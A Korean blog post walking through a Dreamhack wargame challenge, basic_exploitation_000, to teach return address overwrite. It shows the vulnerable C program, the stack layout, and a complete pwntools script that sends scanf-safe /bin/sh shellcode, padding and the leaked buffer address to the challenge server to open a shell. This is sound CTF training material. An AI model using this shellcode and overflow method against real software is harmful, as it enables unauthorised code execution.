Return Address Overwrite(이하 RAO) 기법이다.
내가 어떤 주소로 rip를 이동 시키고 싶고, 그 주소의 hex값을 알았을 경우, BOF 등으로
ret 주소를 덮어써서 해당 주소로 가도록 유도하는 것이다.
기본 문제인 드림핵의 basic_exploitation_000 을 예시로 적용해보자.
(https://dreamhack.io/wargame/challenges/2)
파일을 받아보면 C파일과 그것으로 컴파일한 실행파일이 있다.
코드는 이러하다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
이 문제 기준으로 이전 문제들은 쉽게 코드 안에 bin/sh을 실행시킬 수 있는 함수가 있었다.
여긴 없으므로 직접 셸 코드를 작성해야 한다.
취약점을 살펴보면,
- buf의 주소를 알려준다
- scanf를 사용한다
두 가지이다.
이를 바탕으로 페이로드를 생각해보면
셸 코드 + 오버플로우를 위한 의미없는 값 + buf의 주소
가 될 것이다. 이러한 페이로드를 쓰는 이유는 buf의 주소를 알려줬기에 가능한 것이다.
(안알려줬다면 rop를 써야했을 것이다)
셸 코드와 오버플로우를 위한 값으로 채우고, return 주소를 buf의 주소로 덮어써서 다시 rip가 버퍼의 맨 처음, 즉 우리가 작성한 셸 코드로 오도록 하여 셸 코드를 실행하게 한다.
pwndbg에서
$disassemble main
한 것이다.
위 어셈 코드를 바탕으로 다음과 같은 그림을 그려볼 수 있다.
stack | ret 기준 스택 차이 |
---|---|
buf | 132(0x84) |
sfp | 4(0x4) |
ret | 0 |
따라서 shellcode + 나머지를 shellcode를 제외하고 sfp까지 채우기 + buf주소
로 작성해주면 된다. 페이로드는 다음과 같다.
from pwn import *
p = remote('post3.dreamhack.games', 20237)
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'A'*(0x80 - len(payload) + 4)
p.recv(9)
bufaddr = p32(int(p.recv(8), 16))
payload += bufaddr
p.sendline(payload)
p.interactive()
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
이건 scanf 우회 shellcode다. scanf는 \0
를 쓸 수 없기에 다른 shellcode가 존재한다.
해당 shellcode를 제외하고 sfp 까지 채워주기 위해
payload += b'A'*(0x80 - len(payload) + 4)
를 작성했다. (A를 의미없는 값으로 채움)
마지막으로 출력해주는 bufaddr을 읽어서 페이로드 마지막에 붙인다.
여기서 익힐수 있던 포인트들은 다음과 같다.
원하는 주소를 hex로 읽었을 때
가령 0xffffffff 라고 해보자. 이걸 어떻게 써야 pwntools로 send했을 때 원하는 대로 될까?
- hex로 바꾼다
read_addr = int('0xffffffff', 16) // 첫 번째 인자를 16진수형식으로 변환
- 해당 파일의 형식에 맞게 패킹한다
packed_addr = p64(read_addr) // p64는 amd64 arch일 경우.
만약 이미 다음과 같은 형식이라면, 그냥 b만 붙여줘도 된다.
\x00\x00\x00... => b'\x00\x00\x00...'
ret 위치에 맞게 맞는 크기로 send
오버플로우를 적절하게 시켜서 ret에 맞는 크기로 정확하게 들어가도록 페이로드를 작성한다.
위 예제에서는 sfp까지 132 byte를 다른 값들로 채워 오버플로우 시키고,
마지막에 원하는 위치인 buf의 주소(4byte)를 채워 넣었다.
'Hacking > Pwnable' 카테고리의 다른 글
Type Error (0) | 2024.07.18 |
---|---|
RTL and ROP (0) | 2024.07.14 |